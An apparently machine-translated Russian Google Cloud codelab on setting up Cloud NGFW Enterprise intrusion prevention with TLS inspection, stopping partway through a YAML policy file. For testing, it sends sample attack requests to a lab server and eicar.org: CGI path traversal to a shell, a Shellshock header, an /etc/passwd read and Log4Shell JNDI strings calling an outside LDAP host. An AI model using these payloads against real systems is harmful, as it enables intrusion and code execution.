Cloud NGFW Enterprise Codelab [с проверкой TLS]

1. Введение

Облачный межсетевой экран следующего поколения (NGFW)

Cloud Next Generation Firewall — это полностью распределенная служба брандмауэра с расширенными возможностями защиты, микросегментацией и всеобъемлющим покрытием для защиты ваших рабочих нагрузок Google Cloud от внутренних и внешних атак.

Cloud NGFW имеет следующие преимущества:

  • Служба распределенного межсетевого экрана: Cloud NGFW обеспечивает полностью распределенное принудительное применение на основе хоста для каждой рабочей нагрузки с отслеживанием состояния, что обеспечивает архитектуру безопасности с нулевым доверием.
  • Упрощенная настройка и развертывание. Cloud NGFW реализует сетевые и иерархические политики брандмауэра, которые можно прикрепить к узлу иерархии ресурсов. Эти политики обеспечивают единообразную работу брандмауэра во всей иерархии ресурсов Google Cloud.
  • Детальный контроль и микросегментация: сочетание политик брандмауэра и тегов, управляемых идентификацией и доступом (IAM), обеспечивает точный контроль трафика как север-юг, так и восток-запад, вплоть до одной виртуальной машины, в виртуальном частном облаке (VPC). сети и организации.

Cloud NGFW доступен на следующих уровнях:

  • Основы облачного брандмауэра нового поколения
  • Стандарт облачного брандмауэра нового поколения
  • Облачный брандмауэр следующего поколения Enterprise

Облако NGFW Enterprise

Cloud NGFW Enterprise добавляет службу предотвращения вторжений (IPS), возможность уровня 7, в распределенную структуру Google Cloud Firewall. Поддерживается проверка TLS, позволяющая проверять зашифрованный TLS трафик.

Теперь вы можете развернуть надежные проверки межсетевого экрана следующего поколения (NGFW) уровня 7 с детальным контролем без внесения каких-либо изменений в архитектуру сети или конфигурации маршрутизации.

Чтобы активировать и развернуть управление межсетевым экраном уровня 7 с помощью IPS, вам необходимо выполнить следующие задачи:

  • Создайте набор конечных точек зонального брандмауэра, управляемого Google Cloud.
  • При необходимости создайте политику проверки TLS.
  • При необходимости создайте конфигурацию доверия.
  • Свяжите эти конечные точки с сетями виртуального частного облака (VPC), где вам понадобится служба Cloud NGFW Enterprise.
  • Внесите простые изменения в существующие политики и правила брандмауэра, чтобы указать профили предотвращения угроз для различных путей трафика.

Политики сетевого брандмауэра

Политика сетевого брандмауэра действует как контейнер для правил брандмауэра. Правила, определенные в политике сетевого брандмауэра, нигде не применяются, пока политика не связана с сетью VPC. С каждой сетью VPC может быть связана одна политика сетевого межсетевого экрана. Политики сетевого брандмауэра поддерживают теги, управляемые IAM (или просто теги), в правилах брандмауэра, которые заменяют текущие сетевые теги и могут использоваться для обеспечения идентификации рабочей нагрузки.

Совместное использование политики сетевого межсетевого экрана в разных сетях и интеграция с тегами, управляемыми IAM, значительно упрощает настройку и управление межсетевыми экранами.

С появлением политики сетевого брандмауэра политики брандмауэра Google Cloud теперь состоят из следующих компонентов:

  1. Иерархическая политика брандмауэра
  2. Правила брандмауэра VPC
  3. Политика сетевого межсетевого экрана ( глобальная и региональная )

Иерархические политики брандмауэра поддерживаются на узлах организации и папок в иерархии ресурсов, тогда как правила брандмауэра VPC и политики сетевого брандмауэра применяются на уровне VPC. Большая разница между правилами брандмауэра VPC и политиками сетевого брандмауэра заключается в том, что правила брандмауэра VPC могут применяться только к одной сети VPC, тогда как политики сетевого брандмауэра могут быть прикреплены к одному VPC или группе VPC, помимо других преимуществ, таких как пакетные обновления.

Наконец, у нас также есть подразумеваемые правила брандмауэра , которые есть в каждой сети VPC:

  • Выходное правило, действие которого разрешено, пункт назначения — 0.0.0.0/0.
  • Правило входящего трафика, действие которого запрещено, источник — 0.0.0.0/0.

По умолчанию последовательность применения показана на следующей диаграмме:

21b3bcabc469ffe.png

Обратите внимание, что порядок применения правил брандмауэра VPC и политики брандмауэра глобальной сети можно поменять местами. Клиенты могут указать порядок принудительного исполнения в любое время с помощью команды gcloud .

Теги

Новые теги, интегрированные в правила политики сетевого брандмауэра, представляют собой ресурсы пары «ключ-значение», определенные на уровне организации или проекта в иерархии ресурсов Google Cloud. Такой тег содержит элементы управления доступом IAM, которые определяют, кто и что может делать с тегом. Например, разрешения управления идентификацией и доступом (IAM) позволяют указать, какие участники могут присваивать значения тегам, а какие участники могут прикреплять теги к ресурсам. Если правило сетевого брандмауэра ссылается на тег, его необходимо применить к ресурсу для принудительного применения.

Теги соответствуют модели ресурсов наследования Google Cloud, то есть теги и их значения передаются по иерархии от их родителей. В результате теги могут создаваться в одном месте, а затем использоваться другими папками и проектами по всей иерархии ресурсов. Посетите эту страницу для получения подробной информации о тегах и ограничении доступа.

Теги не следует путать с сетевыми тегами . Последние представляют собой строки, которые можно добавлять в экземпляры Compute Engine; они связаны с экземпляром и исчезают, когда экземпляр выводится из эксплуатации. Правила брандмауэра VPC могут включать сетевые теги, но, поскольку они не считаются облачными ресурсами, на них не распространяется контроль доступа IAM.

Обратите внимание, что теги и теги, управляемые IAM, в этом документе используются как взаимозаменяемые слова.

Что ты построишь

Для этой лаборатории кода требуется один проект и способность создавать сеть VPC, а также управлять рядом сетевых ресурсов и ресурсов безопасности. Он продемонстрирует, как Cloud NGFW Enterprise может обеспечить функциональность IPS посредством:

  • Проверка северных интернет-потоков с помощью проверки TLS
  • Проверка потоков внутри VPC [Восток-Запад] с помощью проверки TLS

Потоки, подлежащие проверке, будут выбраны с использованием параметров соответствия Cloud Firewall, включая 5-кортеж (IP-адрес источника, IP-адрес назначения, протокол, порт источника, порт назначения) и теги.

3d0f288d3b92a295.png

Конечное состояние базы правил политики сетевого брандмауэра будет аналогично таблице ниже:

Приоритет

Направление

Цель

Источник

Место назначения

Действие

Тип

100

Вход

Server_Tag

Проверка работоспособности

Любой

Позволять

Основы

200

Вход

Client_Tag, Server_Tag

IAP

Любой

Позволять

Основы

800

Вход

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 Осмотр

Предприятие

850

выход

Client_Tag

Любой

10.0.0.0/24

Позволять

Основы

900

выход

Client_Tag

Любой

Любой

L7 Осмотр

Предприятие

Что вы узнаете

  • Как создать политику сетевого брандмауэра.
  • Как создавать и использовать теги с политикой сетевого брандмауэра.
  • Как настроить и использовать Cloud NGFW Enterprise с проверкой TLS.

Что вам понадобится

  • Проект Google Cloud.
  • Знание развертывания экземпляров и настройки сетевых компонентов.
  • Знание конфигурации межсетевого экрана VPC.

2. Прежде чем начать

Создать/обновить переменные

В этой лаборатории кода используются переменные $variables для облегчения реализации конфигурации gcloud в Cloud Shell.

В Cloud Shell выполните приведенные ниже команды, заменяя при необходимости информацию в скобках:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Включите API

Включите API, если вы этого не сделали:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Создание конечной точки предприятия Cloud NGFW

Поскольку создание конечной точки Cloud NGFW Enterprise занимает около 20 минут, она будет создана первой, а базовую настройку можно будет выполнить параллельно во время создания конечной точки.

Создайте профиль безопасности и группу профилей безопасности:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Ожидаемый результат:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Подтвердите, что ресурсы были успешно созданы:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Создайте конечную точку Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Запустите команду ниже, чтобы подтвердить создание конечной точки ( CREATING ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Процесс создания занимает около 20 минут. Перейдите в раздел «Базовая настройка», чтобы параллельно создать необходимые ресурсы.

5. Настройка базы

Сеть и подсеть VPC

Сеть и подсеть VPC

Создайте сеть и подсеть VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Облачный NAT

Создайте Cloud Router и Cloud NAT-шлюз:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Экземпляры

Создайте экземпляры клиента и веб-сервера:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Теги уровня проекта

При необходимости назначьте пользователю разрешение tagAdmin:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Создайте ключ и значения тега на уровне проекта:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Привяжите теги к экземплярам:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Политика брандмауэра глобальной сети

Создайте политику брандмауэра глобальной сети:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Создайте необходимые правила Cloud Firewall Essential, чтобы разрешить трафик из диапазонов прокси-серверов проверки работоспособности и идентификации :

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Создайте необходимые правила Cloud Firewall, чтобы разрешить входящий трафик с востока на запад или внутри подсети из определенных диапазонов (эти правила будут обновлены, чтобы включить Cloud NGFW Enterprise с проверкой TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Свяжите политику облачного межсетевого экрана с сетью VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Ассоциация конечных точек облачного брандмауэра

Определите переменные среды, если вы еще этого не сделали и/или предпочитаете подход сценария.

Убедитесь, что создание конечной точки Cloud Firewall успешно завершено. Продолжайте только тогда, когда состояние отображается как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Свяжите конечную точку Cloud Firewall с сетью VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Процесс ассоциации занимает около 10 минут. Переходите к разделу TLS только тогда, когда состояние отображается как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):

gcloud network-security firewall-endpoint-associations list

Ожидаемый результат после завершения:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Настройте ресурсы TLS.

Создайте пул ЦС. Этот ресурс будет использоваться для размещения корневого сертификата CA, который мы создаем для NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Создайте корневой центр сертификации. Это сертификат CA, который будет использоваться для подписи дополнительных сертификатов для запросов через NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Если вам будет предложено сообщение ниже, ответьте y :

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Создайте учетную запись службы. Эта учетная запись службы будет использоваться для запроса сертификатов для NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Установите разрешения IAM для учетной записи службы:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Создайте YAML-файл политики TLS. Этот файл будет содержать информацию о конкретных ресурсах:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Импортируйте политику проверки TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Обновите ассоциацию конечной точки, чтобы включить TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Получите сертификат CA и добавьте его в хранилище CA клиента:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Передайте сертификат CA клиенту:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Подключитесь по SSH к виртуальной машине, переместите сертификат CA в /usr/local/share/ca-certificates и обновите хранилище CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Выйдите обратно в облачную оболочку.

Процесс подписания сертификата сервера:

В CloudShell установите криптографическую библиотеку Pyca с помощью команды pip:

pip install --user "cryptography>=2.2.0"

Чтобы разрешить Google Cloud SDK использовать криптографическую библиотеку Pyca, необходимо включить пакеты сайта.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Создайте сертификат сервера:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Это создаст файлы cert.pem и key.pem в CloudShell. Затем передайте сертификат и ключ на сервер.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Подключитесь к серверу по SSH, чтобы обновить сведения о сертификате Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Переместите сертификат и ключ в определенную папку:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Обновите конфигурацию SSL, чтобы использовать подписанный сертификат:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Перезапустите Апач:

sudo systemctl restart apache2

Проверьте статус Apache:

sudo systemctl status apache2

Он должен быть активным (работающим).

Выйдите из виртуальной машины и продолжите работу в CloudShell.

8. Проверка северного и восточно-западного подключения.

Выполните приведенные ниже команды в Cloud Shell и запишите целевые IP-адреса, которые будут использоваться:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Откройте новую вкладку и инициируйте SSH-соединение с клиентской виртуальной машиной через IAP (вам нужно будет определить переменные на новой вкладке):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Запустите приведенные ниже команды и запишите целевые IP-адреса, которые будут использоваться. Создайте переменные, заменяя значения в скобках указанными IP-адресами из предыдущего шага, и убедитесь, что они доступны:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Сверните частный IP-адрес и убедитесь, что он доступен:

curl https://$target_privateip --max-time 2

Ожидаемые результаты для запроса на завивку:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Отправьте примеры атак на IP. Веб-сервер должен отвечать на все запросы, подтверждая отсутствие проверки/профилактики L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Пример ожидаемых результатов (частный IP):

400
404
400
200
200

Аналогичным образом отправьте запросы в Интернет-адресат:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Пример ожидаемых результатов (направление в Интернете):

400
404
400
403
403

Выйдите из терминала виртуальной машины и вернитесь в облачную оболочку.

9. Создайте и обновите правила брандмауэра для проверки TLS.

Ранее мы настроили правило брандмауэра, разрешающее входящий трафик на наш сервер из внутренней подсети. Теперь мы обновим существующие правила входящего трафика и установим действие apply_security_profile_group. Это позволит осуществлять проверку E/W L7 с помощью TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Создайте новое правило для проверки проверки L7 в северном направлении с помощью TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Создайте новое правило, позволяющее EGRESS for E/W предотвратить двойную проверку.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Проверка проверки TLS в северном направлении

Вернитесь на вкладку клиентской виртуальной машины или подключитесь снова:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Отправьте примеры атак в Интернет:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Никаких ответов в соответствии с ожидаемым результатом ниже не получено, что подтверждает, что примеры атак в настоящее время блокируются:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Установите для переменной IP-адрес сервера, который был раньше:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Отправьте примеры TLS-запросов на сервер:

curl https://$target_privateip --max-time 2

Ожидаемый результат:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Почему этот запрос не удался? Это связано с тем, что межсетевой экран получает сертификат от сервера, которому нет доверия. Если это произойдет, он передаст самозаверяющий сертификат обратно клиенту. Нам нужно добавить сертификат CA как часть конфигурации доверия, чтобы включить доверие.

Вернитесь обратно в облачную оболочку.

11. Настройте конфигурацию доверия

Получите сертификат корневого центра сертификации и установите его как переменную с правильным форматированием.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Настройте YAML-файл Trust Config. Этот файл содержит сведения о доверии, такие как сертификаты CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Приведенные выше команды включили ваш сертификат корневого центра сертификации в хранилище доверенных сертификатов, поскольку сертификат вашего сервера был подписан с использованием корневого центра сертификации. Это означает, что брандмауэр будет доверять любым полученным сертификатам, подписанным вашим корневым центром сертификации, в дополнение к общедоступным центрам сертификации, если в вашей политике TLS для параметра ignorePublicCaSet установлено значение false.

Проверьте содержимое конфигурации доверия.

cat trust_config.yaml 

Пример вывода:

Обратите особое внимание на выравнивание отступов сертификата. Он должен точно соответствовать этому формату.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Импортируйте конфигурацию доверия:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Обновите YAML-файл политики TLS, включив в него конфигурацию доверия:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
